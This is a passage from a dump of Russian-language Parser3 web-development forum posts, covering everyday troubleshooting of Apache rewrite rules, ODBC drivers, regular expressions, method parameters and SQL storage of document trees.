[Tue Aug 16 10:03:02 2005] [alert] [client 217.107.212.198] /home/l/lightoff.h15.ru/.htaccess: order not allowed here"
"43512","вот моя проблема:\
[code]\
this (one level) redirect does not work:\
	wget -d http://www.hp.ua/promo/clj2600n/ \
client receives\
	Location: http://www.hp.ua:81/promo/smb/clj2600n/\
\
file \
	/promo/.htaccess \
contains a little strange-to-me but still correct line:\
	RewriteRule ^clj2600n(.*)$ smb/clj2600n$1 [L,R,QSA]\
\
here we should get\
	http://www.hp.ua/promo/(clj2600n<<matched)(/<<goto>>$1)\
and [R]edirect to \
	smb/clj2600n($1=/)  >> smb/clj2600n/\
which server expands to\
	http://backendServer:backendPort/promo/smb/clj2600n/\
which squid should correct to\
	http://frontendServer:frontendPort/promo/smb/clj2600n/	\
but squid corrected only serverName, sending to client\
	http://frontendServer:backendPort/promo/smb/clj2600n/	\
which is BAD = BAD port.\
[/code]\
\
собственно, проблема в том, как донести мысль до админа, который её никак не понимает."
"43513","http://lingvo.yandex.ru\
входите и вписываете слова.\
выделяете мышкой слово,\
вставляете в строчку ввода и нажимаете [перевести]\
\
начинаем с вашего слова \
not\
\
повторяете действия со словами\
allowed\
\
затем\
here\
\
и, пожалуйста, не говорите, что это требует высшего образования."
"43514","И так было ясно, что то нельзя там делать;)\
\
Дословно: порядок нельзя здесь;))))\
\
То есть \"Парсер нельзя здесь\"?\
\
Или ещё что то? Я об этом и спросил..."
"43516","Значит так:\
на локальной машине происходит выборка из листа, выводятся все поля.\
тот же скрипт на удаленной машине выводит строковые поля, но не видит числовые из той же записи!\
\
парсер работает под IIS, Excel считывается через System ODBC\
в чем может быть проблема?"
"43518","Еще бы это как-то отразилось на странице http://www.parser.ru/examples/ :-)"
"43519","тут:\
http://www.parser.ru/examples/mscroller/\
у файла для скачивания така изменилась."
"43520","Томас Коннолли, Каролин Бегг\
Базы данных. Проектирование, реализация и сопровождение. Теория и практика\
Database Systems. A Practical Approach to Design, Implementation, and Management\
\
http://www.ozon.ru/context/detail/id/1556987/\
\
Я по ней учился.\
\
К. Дж. Дейт\
Введение в системы баз данных\
\
http://www.ozon.ru/context/detail/id/91094/\
\
Эта посложнее будет\
\
Гектор Гарсиа-Молина, Джеффри Ульман, Дженнифер Уидом\
Системы баз данных. Полный курс\
\
http://www.ozon.ru/context/book_detail/id/1351096/\
\
Эту не читал, но смотрел - мне понравилась."
"43521","Лениво? Дык там, чо-ли, ручками дата меняется, не автоматом?"
"43523","Спасибо за книги, кстати, если будете покупать, загляните на \
books.ru, там эти книги дешевле."
"43524","если бы изменился content - показаась бы новая дата. лезть в древний код и вносить правки чтобы это делалось автоматом - тоже лень :)"
"43525","благо до неё ехать 25 минут."
"43526",":`-( Я в Туле живу"
"43527","Довольно часто стал замечать такой код:\
[code]\
@method[method_params]\
$xmethod_params[^hash::create[$method_params]]\
[/code]\
Задумался для каких целей мы загоняем эти значения в хеш?\
Станет быстрее скорость работы с данными?"
"43528","1. $params.first среди прочих переменных метода будет более заметен, чем просто $first.\
\
2. Можно легко установить дефолтные значения для неопределенных ключей хеша с параметрами (^default.add[$params])\
\
3. Как вы смотрите на это:[code]^method[$a;$b;$d;$e;$f;$g;$h;$i;$j;$k;$l;$m;$n;$o;$p][/code]\
4. Проще и читабельней готовить параметры для передачи методу:\
[code]$params[^hash::create[]]\
$params.motion[quick]\
$params.first[duo]\
\
^if($count > 20){\
	^if($xcount){\
		$params.count(20)\
	}{\
		$params.count(1)\
	}\
}{\
	$params.count($count)\
}\
\
^if($anything){\
	$params.depth($anything)\
}\
\
^method[$params][/code]или[code]\
^method[quick;duo;^if($count > 20){^if($xcount){20}{1}}{$count};^if($anything){$anything}][/code]"
"43529","версии парсера одни и теже, как и драйвера, но виндовые драйвера ODBC-Excel разные, на одной машине выводится все поля и числовые и строковые, на другой не выводятся числовые, но если к числу подставить символ (он воспринимается как строка), то он выводится.\
\
проблема в виндовых дровах?"
"43530","Чтобы переданные методу параметры всегда можно было достать, так как в процессе выполнения метода какие-то параметры можно изменить.\
\
Backup."
"43532","Установил у моего провайдера Paser. Всё работает прекрасно.\
 \
Но через несколько дней появляется ошибка, такого рода 503 Service Temporarily Unavailable. Через некоторое время, когда убираю .htacess сайт разблокируеться, но cgi скрипт парсера упорно вешается. Помогает только перезагрузка Apache. дальше Parser опять работает прекрасно, до следующего глюка.\
Операционка как он мне сказали стоит fedora 2, я ставлю parser от red hat 8. Другого, к сожалению не найти.\
\
Может у провайдера как-то хитро настроен apаchе, что такой глюк появляется.  Или бинарник не подходит?"
"43533","^if($xcount) = ^if(def $xcount) ???\
\
если нет, то объясните что значит \"^if($xcount)\""
"43534","Истиной может быть: ненулевое число, непустая таблица, булево значение, непустой хеш и, наверное, что-то еще, что я сейчас забыл.\
\
http://www.parser.ru/forum/?id=6970\
http://www.parser.ru/forum/?id=39037"
"43535","Это из примера. Раньше работало - теперь - нет. В базу пишутся одни нули.\
\
При обращении помимо формы (из примера) в браузер выводятся только чёрточки."
"43536","А может быть не надо создавать методы у которых такое кол-во параметов?\
\
Скорее всего надо использовать классы. Группируя данные данные в них.\
Передавая объекты.\
\
А вот что про это думает гражданин Martin Fowler.\
\
http://www.refactoring.com/catalog/introduceParameterObject.html\
http://www.refactoring.com/catalog/replaceParameterWithMethod.html\
http://www.refactoring.com/catalog/preserveWholeObject.html"
"43540","[code]^method[;;;;$e;;;;;;$k;$l;$m;$n][/code]"
"43542","...почему параметры передаем в виде хеша, а того, зачем в методе мы делаем это:\
\
[code]\
@first[params][_params]\
$_params[^hash::create[$params]]\
[/code]\
\
ведь в принципе можно не делать этого и внутри метода получать доступ к полям хеша: $params.type\
\
однако если мы захотим из этого метода вызвать другой метод, и решим отдать ему все пришедшие параметры:\
[code]\
@first[params]\
...\
^second[$params]\
[/code]\
\
то в случае, если метод @first[] мы вызывали без параметров (^first[]) а в методе @second[] решили проверить например:\
[code]\
@second[params]\
^if(def $params.type){сделать что-то}\
[/code]\
\
то мы отгребем ошибку, говорящую о том, что у строки нет метода type. это происходит из-за особенности парсера: пустая переменная превращается в строку (если переменную не передавать, как в вызове ^first[] то в $params будет void, и ошибки не будет). чтобы этого не происходило и приходится принудительно создавать хеш из того, что пришло.\
\
в выходящей скоро версии парсера такое поведени будет поправлено.\
\
а пока приходится делать именно так (но не обязательно делать это в каждом методе), хотя возможно еще такой обход: ^if($params is \"hash\" && def $params.type){сделать что-то}, но он мне не нравится."
"43543","Но, на мой взгляд, даже если третий пункт моего ответа вырезать — все равно передача параметров хешом имеет право на жизнь там, где это удобно."
"43545","Есть небольшая идейка. Думаю как её организовать. Часто перехватываю средствами Парсера ошибки. И вот задумался, как сделать редактирование имеющегося файла, таким образом, чтобы Парсер добавлял строку ниже.\
\
Было:\
[code]\
test.p	312	2005/03/04 12:57	Image is Ok.\
xxx.p	112	2005/03/06 17:18	Not found image.\
[/code]\
\
Стало:\
[code]\
test.p	312	2005/03/04 12:57	Image is Ok.\
xxx.p	112	2005/03/06 17:18	Not found image.\
test.p	113	2005/04/01 13:09	Script is bad.\
[/code]\
\
Т.е. хочу вести отдельные логи для своих скриптов. :-)\
Вот так вот замутил..."
"43546","Первой идеей было создавать уникальные файлы по времени.\
Пример: 2005-03-04_17-52-04.log\
Понятно, что это реально не удобно. Т.к. файлов накопиться миллионы."
"43549","[code]\
@rusage[msg][now;s]\
$now[^date::now[]]\
$s[[^now.sql-string[]]	$status:rusage.utime	$status:rusage.maxrss	[$status:memory.used/$status:memory.free/$status:memory.ever_allocated_since_compact/$status:memory.ever_allocated_since_start]	$env:REMOTE_ADDR	$request:uri^if(def $msg){ $msg}^#0A]\
^s.save[append;/../data/bmarket/rusage.log]\
[/code]\
(c) Misha v.3"
"43550","Как лучше всего хранить документы с именами типа [i]/some_dir/some_file.html[i] в базе данных?\
Неужели просто делать поле filename и там хранить пути/имена файлов?"
"43551","\"...основная стоимость ПО - это сопровождение...\"\
\
Не факт. Написание драйвера к какому-либо устройству процесс зачастую одноразовый. Написал, оттестировал, исправил баги, сдал заказчику. Потом забыл - сопровождения в принципе нет.\
\
Основные программы в мире (софт к микроволновкам, стиральным машинам, утюгам и прочим электрописькащикоталкам) - терминальны."
"43553","Мы говорили не о драйверах а о бизнес ПО. Понятно что все под одну гребенку нельзя. Ну а вообще и драйверы и любое другое серъёзное ПО требует сопровождения.\
\
А вообще, - ты просто не работал в сфере ПО, поэтому тебе сложно объективно судить об этом, только предположения :)"
"43556","это директива, которую вы написали в вашем .htaccess\
зачем написали, похоже, сами не знаете.\
документацию по вашему веб-серверу читать не хотите."
"43557","т.к. в объекте table в Parser хранятся только строки,\
то SQL драйвер Parser сразу просит ODBC драйвера вернуть ему всё в виде строк.\
\
очевидно, обычно это у ODBC драйверов получается.\
а в конкретном случае -- нет.\
\
если тупик: если не сможете обновить драйвера, можно зайти со стороны запроса: может можно там какой convert подрисовать, чтобы результаты получились строками."
"43559","то, что помогает «перезагрузка Apache», это некоторое заблуждение.\
ведь вы используете CGI вариант Parser, и отдельные запросы суть отдельные миры.\
помогает, очевидно, только то, что какое-то время машине становится получше, поскольку ничего на ней не происходит.\
\
проверьте, насколько эффективен ваш скрипт: воспользуйтесь примером к классу rusage, разумное время выполнения меньше одной секунды. всё, что больше — попытка повесить сервер :)"
"43560","Да я Днепрогэс запускал! ;)\
\
Работал, но как раз в сфере написания драйверов и простеньких операционок (мониторы) для железок. Правда дайвно это было :)"
"43561","Охотно верю. Только как раз в те времена и в этой сфере это была художественная самодеятельность а не серъёзная разработка (бабла бы срубить и ладно).\
\
:) Просто я и мои коллеги, каждый день наступаем на эти \"догмы\". Одноразовый код это миф. Это либо любительский код, либо прототип. Любой промышленный код не одноразовый, поэтому должен быть читаем и следовательно сопровождаем."
"43562","Может быть кому-нибудь известно какое расширение принятно давать файлам на диске, в которых хранятся фрагменты XML разметки? \
\
Например, мне нужно сохранить в файле несколько тегов без xml-заголовка и без DOCTYPE. После чего такие файлы, допустим, склеиваются парсером и создаётся только один xdoc-объект.\
\
Полноценными (корректными) xml-документами такие файлы не назовёшь, но и обычными текстовыми обзывать не хотелось бы. Значит, во избежание путаницы, должно быть что-то отличное от File.XML или File.TXT"
"43564","Вы ведь не собираетесь никому их показывать? \"Расширение имени файла\" ограниченно может быть соглашением некой OS для отработки ассоциаций c \"типом файла\", в общем случае это всего лишь набор букв, разделенных точками или без оных. Никакого значения это не имеет, так как обработка в данном случае не опирается на смысл буквочек в конце имени."
"43565","следующий правильный ход -- использование importNode. Все остальное -- поделка."
"43566","опишите подрбнее чего вы хотите добиться"
"43567","если вам понадобится хранить bitmap с гербом города, у вида продукции тоже будет такое поле?\
\
В принципе ваш подход тоже имеет право на жизнь, но в более сложном виде, реализующем, по сути, DOM. или, если хотите, отношения object->property, причем может быть и property->object. Но это слегка противоречит теории построения реляционных БД.\
\
Храните так:\
\
table create a(\
id int,\
data text # тут все в tab delimited\
)\
\
и не заморачивайтесь. А я subj ;P"
"43568","Раз уж зашло дело о промышленном коде, такой вопрос: Вы не занимаетесь продвижением тематических промышленных сайтов? Не в поисковиках, а в плане общего продвижения. Вообще тема интересная, жаль поучиться негде, а конкуренты на пятки наступают."
"43569","> если вам понадобится хранить bitmap с гербом города, у вида продукции тоже будет такое поле?\
Нет.. Я уже писал как я решал такие задачи, причем решение не сложное.\
> DOM\
Причем тут Document Object Model?\
\
>Храните так:\
>table create a(\
>id int,\
>data text # тут все в tab delimited\
>)\
\
Так делать точно не надо..\
\
>пойду поблюю\
Удачно? :)"
"43570","1. это не решение, а насмешка над методами хранения данных\
\
2. DOM при том, что в БД можно организовать такую же структуру, которая вообще будет состоять из одной таблицы, вмещающей в себе всевозможные ноды. Только вот зачем? Кесарю -- кесарево.\
\
> Так делать точно не надо\
3. Да неужели? А мне этот метод в сравнении в вашим кажется даже более прогрессивным. Без шуток."
"43571","По поводу такого способа хранения, могу сказать, что он 100% рабочий, работает не первый год. Здесь прав egr в том, что этот код не промышленный. К примеру в больших предприятиях существуют несколько отделов, которые работают над одной и той же вещью, следовательно затратив чуть больше ресурсов они получают код, который будет работать более слаженней. Здесь я с egr полностью согласен.\
\
А вот по поводу неработоспособности кода и такого подхода, на вашем месте я бы не спешил делать выводы...\
\
А вот насчет хранения данных в файлах, это действительно насмешка.\
\
PS Вы просто не поняли суть подхода. В этом подходе не всё хранится в одной таблице, а хранятся свойства тех или иных объектов, к примеру свойсива компании, торговой площадки."
"43572","Задача выглядит тривиальной - поместить текстовые документы в SQL-базу так, чтобы по запросу [i]/some_dir/some_file[/i] можно было бы выбрать необходимый документ. Так же необходима функция вывода содержимого \"директории\".\
\
Т.е. упрощенный аналог файловой системы средствами SQL."
"43573","[quot]По поводу такого способа хранения, могу сказать, что он 100% рабочий, работает не первый год.[/quot]\
\
Это ни о чем не говорит. Можете плавки на голову надевать, чтобы солно не припекало и тоже будет работать годами.\
\
[quot]Здесь прав egr в том, что этот код не промышленный ...[/quot]\
\
Т.е. убогость решения вы оправдываете тем, то над ним работало мало отделов?\
\
[quot]А вот по поводу неработоспособности кода и такого подхода, на вашем месте я бы не спешил делать выводы...[/quot]\
\
А где я писал о неработоспособности?\
\
[quot]А вот насчет хранения данных в файлах, это действительно насмешка.[/quot]\
\
Серьезно? 1. На вашем месте после подобной публикации я бы не брал на себя смелось судить о способах хранения данных вообще. 2. Интересно, как вы думаете, таблицка ваша на сервере в каком виде хранится? Вы скажете это разные уровни? В данном случае уровни разделяются только софтом, и если я напишу сервер, который будет парсить данные из поля data, то суть решения ничем не будет отличаться от того же MySQL.\
\
Ну и на PS: све я понял, вы спросили насколько это правильно, я ответил что бывает и лучше. И толковать обратное целой куче людей считаю не самым хорошим вариантом.\
\
На том и откланяюсь: доказывать прописные истины я не собираюсь."
"43575","Проговорите задачу словами перед зеркалом и все встанет на места. Например:\
\
В директории A хранятся директории B, C и D. В директории B хранятся директории E, F и G + файлы H, I и J. И т.д. т.е..\
\
[code]A\
	B\
		E\
		F\
		G\
		H\
		I\
		J\
	C\
	D[/code]\
\
Ок?"
"43576","Что-то я не понимаю как у них всё устроено."
"43578","Поля таблицы в базе данных:\
  id\
  parent_id\
  dir\
  body\
\
Статья, обязательная к прочтению и пониманию (класс прилагается):\
  http://www.egoroff.spb.ru/portfolio/15.html"
"43581","Вот так выглядит мой .htaccess\
\
DirectoryIndex index.html\
RewriteEngine On\
RewriteRule ^([^.]+)$ index.html?$1\
\
\
А еще можно создавать домены 3го уровня, а домены второго уровня прикреплять к ним в качестве алиаса, и тогда на 1й площадке можно много доменов разместить. Тогда будет так:\
\
RewriteEngine On\
\
RewriteCond %{HTTP_HOST} (www\\.)?domain_alias\\.ru [NC]\
RewriteCond %{REQUEST_URI} !^/domain_alias(/.*)?$\
RewriteRule (.*) http://www.main_domain.ru/domain_alias/$1 [P,L]\
\
Если ты обращаешься к domain_alias.ru, то он смотрит на папку main_domain.ru/domain_alias/"
"43582","Использую Apache_Swissknife__full_edition__with_mod_perl (самая свежая версия).\
\
Фрагмент кода виртуального хоста из httpd.conf:\
[code]\
AddHandler parsed-html	html\
Action parsed-html	/cgi-bin/parser3.exe\
\
RewriteEngine	On\
RewriteRule	^(.+)\\.html$	/request_handler.html?load=$1	[QSA]\
[/code]\
\
По отдельности все работает. Если не указывать handler, то запрос обрабатывается правильно, т.е. с сохранением строки запроса [QSA] отображается содержимое request_handler.html.\
\
Если назначить парсер обработчиком, но использовать простой редирект [R], то все тоже работает правильно - открывается /request_handler.html?load=имя_запрошенного_html_файла, request_handler.html при этом завпускается как парсерное приложение.\
\
Все вместе (парсер обработчик html-файлов, RewriteRule с QSA) - апач, похоже, уходит в бесконечный цикл (загружает проц по максимуму и жрет память пока его не прибьют).\
Раньше такие конструкции у меня работали, но примеров своего старого кода я так и не нашел. Не могу понять, что у меня не правильно.\
\
Кто-нибудь сталкивался с такой проблемой?"
"43583","Ключ L = \"last rule\", сигнализирует mod_rewrite что обработку после этой директивы нужно прекратить. Без него действительно зациклится."
"43584","а то, судя по статистике sourceforge, дистрибутив скачали больше ста раз, а реакции ни от кого нет."
"43585","Приведенный товарищем Ux код, у меня вешается и с AddHandler, и без, и флаг L не помогает. Написал так:[code]RewriteCond	%{REQUEST_FILENAME}	!request_handler.html\
RewriteRule	^(.+)\\.html$	/request_handler.html?load=$1	[QSA][/code]\
Работает, но только без AddHandler - с ним все равно вешается...\
\
Чистый Apache 1.3.28 win32.\
\
На FreeBSD приведенный мной код работает и с AddHandler."
"43586","прежде чем писать перечитал документацию и пробовал все варианты на какие хватило фантазии ;-)\
\
менял расширения файлов, эксперементировал с AddHandler, ставил разные условия, и т.д.\
\
Проблема: RewriteRule c QSA  передающий запрос файлу, который обрабатывается парсером -> вешает апач."
"43587","Мне все очень понравилось, единственное что сделал - для каждого хоста сделал отдельный файл, и подключил их через include."
"43588","[quot]mod_rewrite: maximum number of internal redirects reached. Assuming configuration error. Use 'RewriteOptions MaxRedirects' to increase the limit if neccessary[/quot]"
"43589","в данном конкретном случае можно добавить type_id, size (of body).\
\
Еще более грамотно хранить дерево отдельно, объекты дерева -- отдельно, но это уже для гурманов :)"
"43590","Об этом стОит задумываться только в том случае, когда у вас есть проблемы с быстродействием. Бороться за теоретическую скорость не практично.\
\
С другой стороны, importNode привносит не только \"красоту\", но и практичность: вам не нужно заморачиваться на кодировки фрагментов, их валидность, целостность и т.д. -- за вас это делает библиотека.\
\
Поэтому повторюсь: если нет [b]объективных[/b] причин для необходимости повышения быстродействия, пользуйтесь специальными инструментами.\
\
К тому же, как и в жизни, в данном случае есть не только белое-черное, но и различной степени серости компромисы :P\
\
PS. Мои слова про поделку не нужно воспринимать буквально :-)"
"43592","А то мне как раз скоро можно будет параллельно получать второе высшее. Вот в раздумье, может к инженеру информационных систем еще дипломированного популиста добавить...\
\
Киньте, плиз адрес в почту. Спасибо."
"43593","Роман, когда вы повзрослеете и станете достаточно зрелым человеком (желаю вам, чтобы это все же случилось), вы поймете, что каждый человек должен уметь грамотно излагать свои мысли да и просто хорошо знать родной язык не зависимо от рода деятельности.\
\
Если же чья-то идея кажется вам слишком сложной, не нужно оскорблять человека только потому, что вы не понимаете о чем идет речь.\
\
Да и вообще, самолюбование в данном случае не уместно (что, я ошибся? в противном лучае разумнее было бы воспользоваться опцией \"отправить письмо автору сообщения электронной почтой, без добавления в форум\").\
\
В общем тренируйте мозг и попробуйте реализовать хотя бы первое высшее образование. Удачи вам."
"43595","но судя по примерам из гугла нужно делать так:\
RewriteOptions	MaxRedirects=2\
\
Эффект есть - апач подыхает сразу. \
На FreeBSD действительно все работает как и должно."
"43596","Я тоже так думал. Вот только что-то не работают мои RewriteRule на их хостинге :(\
Они у низх вообще по каким-то не понятным правилам работают."
"43598","Есть два регулярных выражения:\
RewriteRule ^texts/([a-zA-Z0-9]+\\.html)$ texts/index2.html?key=$1 [L]\
RewriteRule ^texts/([a-zA-Z0-9]+\\/)$ texts/index.html?key=$1 [L]\
\
первое соответственно описывает все слова,оканчивающиеся на .htmlи передаёт ихindex2.html, а второе все слова, состоящие из букв и цифр, и оканцивающихся на /. проблема в том, что на hostring.rbc.ru первое выражение цепляет те ссылки, которое он не должно цеплять, т.е. например вида text/stories/... В чём может быть дело?"
"43602","Нужно, чтобы в тексте помечались все слова, длина которых <= 3. Мой вариант с пробелом на конце не отслеживает все слова, а с объединением отмечает первые три буквы, но тоже не во всех словах.\
^txt.match[ ([\\w]{1,3}) ][ig]{ ${match.1}*${match.2}}\
^txt.match[ ([\\w]{1,3})(,| |.)][ig]{ ${match.1}*${match.2}}\
\
P.S. по форуму искал, честно"
"43603","Народ я тут читал, читал И толком не к чему не пришел ..  У меня стоит Яndex.Server Standard  поиск по интарнет.В незарегистрированной версии дизайн изменить нельзя ! Единственное чего удалось добиться в этом плане, средствами java  вырезать и редактировать код странички .. И это все . Млин хорошо когда поисковых запросов мало .. а когда 380 терминалов  =))Получаеться если редактировать дизайн - это неоправданная загрузка ресурсов . Может кто  -  нибудь подскажет  другой  способ ?"
"43604","Я так и сделал, чтоб можно было импортировать как XML, так и текстовые фрагменты. \
Сначала склеиваются все текстовые куски, из них создаётся один xdoc-экземпляр, потом, если имеются и обычные xml-документы, они импортируются при помощи DOM.\
\
В разных случаях может оказаться удобно то одно, то другое. Тем более, остаётся возможность увеличить быстродействие :-)"
"43605","можно попробовать метасимвол \"граница слова\" \\b\
\
([\\w]{1,3})\\b\
\
однако, в свою очередь, нет особой уверенности что \\w \"ловит\" кириллицу."
"43606","Не могу зайти на форум с помощью Explorer'а. Выдаёт такую вот ошибку:\
out of memory: failed to allocate clean 5124 bytes. heap_used=23715840, heap_free=0, bytes_since_gc=14448068, total_bytes=31937744\
\
С помощью Мозиллы все прекрасно загружается"
"43607","Вы, наверное, в настройках поставили опцию показывать последние 50 тем на главной странице. Эту тему уже разбирали раньше."
"43608","Какие настройки могут быть"
"43609","С помощью эксплорера в форум зайти я не могу.\
Захожу в форум с помощью мозиллы, авторизуюсь чтобы сбросить эту дурацкую настройку - и в результате получаю эту ж самую ошибку.\
Чё ж делать, чтобы убрать этот глюк"
"43610","Изменил все настройки, поставил по 30 сообщений  - ничего не дало.\
Один результат - стал выдавать Internal Server Error"
"43612","Использую\
$Id: auth.p,v 1.67 2004/07/09 15:01:58 misha Exp $\
\
Как пользователю восстановить забытый пароль ?\
\
У меня пользователь в форму вводит е-майл, ему высылается ключ:\
$code[^auth_data.setTemporaryPasswd[$email;$name]]\
\
Затем пользователь полученный ключь вводит в новую форму поля из которой передаются сюда:\
^auth_data.setPasswdFromTemporary[$email;$name;$code]\
\
В базе временный пароль меняется на постоянный, в итоге как залогиниться на сайте ?? Ничего не получается."
"43613","Граница слова \\b в этом случае как раз то что надо. Однако нужно задуматься над применением \\w в качестве отлова букв.\
Класс \\w отлавливает не только буквы но и цифры и символ подчёркивания, поэтому если нужен точный отлов, то это надо учесть."
"43618","НЕ запускает Parser3.а когда запускаю test.html пишет \" Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. # \""
"43619","Проверьте, пожалуйста, всё ли Вы правильно сделали.\
Внимательно просмотрите:\
http://www.parser.ru/docs/lang/?install4apachecgi.htm\
http://www.parser.ru/docs/lang/?install4apachemodule.htm"
"43620","[ ([а-яА-Я]{1,3}) ] тоже не работает - не все трехбуквенные слова отлавливает.\
[ ([абвгдеё.ю...Я]){1,3} ]- аналогичная ситуация. \
В чем может быть косяк?"
"43621","проблема в отсутствии границ слова\
[code]\
^txt.match[(\\b[а-я]{1,3}\\b)][ig]{...}\
[/code]"
"43622","Хотя все же странно, что иногда пробел есть, а обработчик регекспов его не видит."
"43627","если вам кажется, что что-то не работает, выявите это в чистом виде и пришлите bug.html"
"43628","если кому-то неудобно, какой-то символ считается не тем, чем нужно, в regex, то класс символа легко изменить, передвинув галочку в таблице кодировки.\
\
скажем, найти '_' и стереть 'x' из колонки 'word', в файле windows-1251.cfg, и этот знак перестанет считаться частью слова (\\w)."
"43629","поставьте, настройте словоформы, и несложные требования удовлетворит с лихвой. дизайн настраивается."
"43631","Добрый день! Мне хотелось бы узнать, как отключать кэширование страницы? Я помню, что-то вроде:\
\
[code]\
@cache[]\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
[/code]\
\
А затем в каждой функции вызывать ^cache[], но это почему то не работает.."
"43633","Вы говорите обо новом парсере. В архиве новостей авторы пишут что будет новая версия но в розделе \"скачать\" я не виду ничто о Parser 3.2.0? Он уже создан или нет? Я хочю уже учится парсера - но жду новой версии."
"43635","Ситуация такая, необходимо сделать динамический сайт с постоянным дизайном. На сайте изменяется только блок №3. \
Причем на главной страничке размещается блок нвостей из БД.\
все остальные странички простые текстовые файлы (правда есть ладер и т.д. тоже парсер+БД).\
Думал в блок номер 3 сделать вставку по типу ^block[].\
Но думаю, так будет не очень красиво. Может кто-то подскажет более структурное и грамотное решение? \
[code]\
<table width=\"100%\" border=\"0\">\
  <tr>\
    <td colspan=\"3\">1 блок ^header[]</td>\
  </tr>\
  <tr>\
    <td width=\"20%\">2 блок ^navigation[]</td>\
    <td width=\"60%\">3 блок ^block[] - этот блок и изменяется</td>\
    <td width=\"20%\">4 блок ^information[]</td>\
  </tr>\
  <tr>\
    <td colspan=\"3\">5 ^footer[]</td>\
  </tr>\
</table> [/code]\
Заранее вбагодарен всем за ответы."
"43636","http://www.parser.ru/docs/lang/opcache.htm\
может назовете Ваш оператор @http_cache[] ?"
"43637","есть страничка, в ней есть IFRAME с формой, когда отсылаешь форму скрипту обработчику он должен сделать\
$response:location[url]\
\
Как сделать что бы этот \"url\" грузился в мой IFRAME, а не в главное окно?"
"43640","в Parser можно переопределить системные операторы."
"43641","просто недописал мессагу.\
зачем ему переопределять существуюший оператор кеширования?\
он немного-совсем не так кеширует :)\
вопрос в следующем.\
с чего он решил, что его оператор не работает."
"43642","тот код, который вы написали, вынести в auto.p/@main, а собственно @block[] описывать в конкретном html (при этом в html @main[] быть не должно, понятное дело)."
"43643",">Думал в блок номер 3 сделать вставку по типу ^block[].\
>Но думаю, так будет не очень красиво\
\
Почему? И не очень понятно что такое ^block[]. Это сам выполняет какую-то функцию или он просто включает другие методы?\
Например\
@block[]\
^method1[]\
^method2[]"
"43644","Он просто включает другие методы. \
Обозвал его для понятности."
"43645","Сделал по Вашему совету\
---index.html---\
^head[]\
^body[]\
@block[]\
TABLE cellSpacing=1 cellPadding=8 width=\"100%\" bgColor=#ffffff border=0>\
 <TBODY>\
  <TR>\
  <TD class=elpx>           \
  <P align=center>\
   ...............\
^navigation[]\
^footer[]\
---end index.html---\
Вызываем все вручную, т.к. @main[] не конает. \
Как видно \"Блок\" определяю прямо в страничке.\
В результате ошибка:\
[b]Unhandled Exception (parser.compile)\
.../www/index.html(2:8): parse error, expecting `$'[/b]\
\
Пните в нужном направлении. Не могу понять, что за исключение."
"43646","Сделайте так:\
В @main[] опишите структуру и в нужном месте используйте ^block[].\
В каждом html файле описывайете\
[code]\
@block[]\
^method1[]\
^method2[]\
[/code]"
"43647","Я не совсем понял что вы пытались сделать, поэтому просто проиллюстрирую свое предыдущее сообщение:\
\
--- index.html ---\
\
@block[]\
$result[This text came from .html file]\
\
--- auto.p ---\
\
@main[]\
<html>\
 <body>\
  ^if( $block is junction ){\
     <div>^block[]</div>\
  }\
 </body>\
</html>\
\
------\
\
вот примерно такая структура должна быть"
"43648","Все замечательно работает, спасибо.\
Забыл про существование ^if."
"43649","Как вариант не плох, но конструкция Серёжа V12 понравилась больше (см.топ).\
Спасибо за ответы."
"43650","Вариант Сережи V12 тоже предполагает описывание @block[] в каждом .html."
"43651","Не подскажите, как посредством Parser определить четно число или нет?"
"43652","Оператор \"остаток от деления\" см. в документации."
"43654","Хотя сейчас считаю что можно, и даже нужно существующими классами обходиться. В таком случае проще переносить правила в другие языки."
"43655","Это всё подробно описано в докуентации (в уроках)"
"43657","как сделать смену картинок при их динамической загруке с БД и наводе на них мышкой?"
"43658","Скачай и собери - будет тебе 3.2.0 ;)"
"43659","если не поможет, то попробуйте зайти на:\
http://www.parser.ru/forum/register.html\
и сбросить значение поля \"Сообщений на страницу\" в default (очистить и сохранить). Возможно при значениях > 25 появляется ошибка."
"43661","[code]\
$t[HTML код с повторяющимися пробелами и табуляциями]\
$t[^taint[optimized-as-is][$t]]\
[/code]\
\
Хочу чтобы в $t был код без повторяющихся пробелов и остального мусора, но этого не происходит.\
Почему?\
^untaint ничем не лучше, да это и ничего не меняет.\
главное - optimized, а его нет."
"43663","Кто вам мешает написать на парсере скрипт, который будет загружать из БД нужную картинку и отдавать ее в $response:body, а потом писать в HTML [code]src=\"скрипт_загружающий_картинки.html?img_id=12345\"[/code]?\
\
P. S. Есть большие сомнения в целесообразности хранения файлов в БД."
"43664","Только один вопрос остался непонятным:\
Пример таблицы\
[code]\
1	0	hardware	Железо\
11	1	computers	Компьютеры\
12	1	printers	Принтеры\
121	12	laser	Лазерные\
122	12	ink	Струйные\
2	0	software	Программное обеспечение\
21	2	os	Операционные системы\
22	2	editors	Текстовые редакторы\
3	0	news	Новости\
[/code]\
Такая нумерация id сделана для упрощения сортировки?\
Если так, то получается, что кол-во разделов в одной ветви ограничено одним разрядом (10). Или я что-то не так понял?"
"43665","нет, будет 3.2.0beta\
в 3.2.0release и/или в 3.1.5 войдут ещё десяток другой мелких правок."
"43666","замены по языковым таблицам происходят в тот момент, когда строка покидает пределы Parser.\
\
уходит в браузер, в file::exec или на диск.\
\
в вашем $t все буквы, включая подряд идущие пробелы, как были, так и остаются. они лишь меняют свою языковую окраску.\
\
и только потом, когда $t выведется, скажем, в браузер, она будет прооптимизирована.\
\
пожалуйста, перечитайте уже написанные статьи, и статья в документации и  Мишина статья каждая писалась не один день, чтобы внятно описать. не пренебрегайте."
"43667","Доброе время суток.\
Вот столкнулся с такой траблой.\
Необходимо вывести результат такого запроса.\
select Sum(input),Sum(output) from traffic where lan = 'ppp0'\
\
Вот моя конструкция\
[code]\
^connect[$connect_string]{ \
   $static[^table::sql{select Sum(input),Sum(output) from traffic where lan = 'ppp0'}] \
   ^if($static){ \
      ^static.menu{ \
      <TABLE ALIGN=CENTER BORDER=3 CELLSPASING=0 CELLPADDING=0>\
      <tr><TD><CENTER><b>Input <TD><CENTER><b>Output\
      <tr><TD>$static.input <TD  ALIGN=RIGHT>$static.output\
      </TABLE>\
      </HTML> \
[/code]\
Страница выдает ошибку\
меняем запрос на $static[^table::sql{select input,output from traffic where lan = 'ppp0'}]\
То запрос выполняеться \
\
Интересно какие еще SQL запросы не работают?"
"43669","Используйте псевдонимы столбцов. Читайте документацию по Майсклу."
"43670","Больше спосибо! Я уже учюсь на парсере 3.1.4. Он просто - класс!"
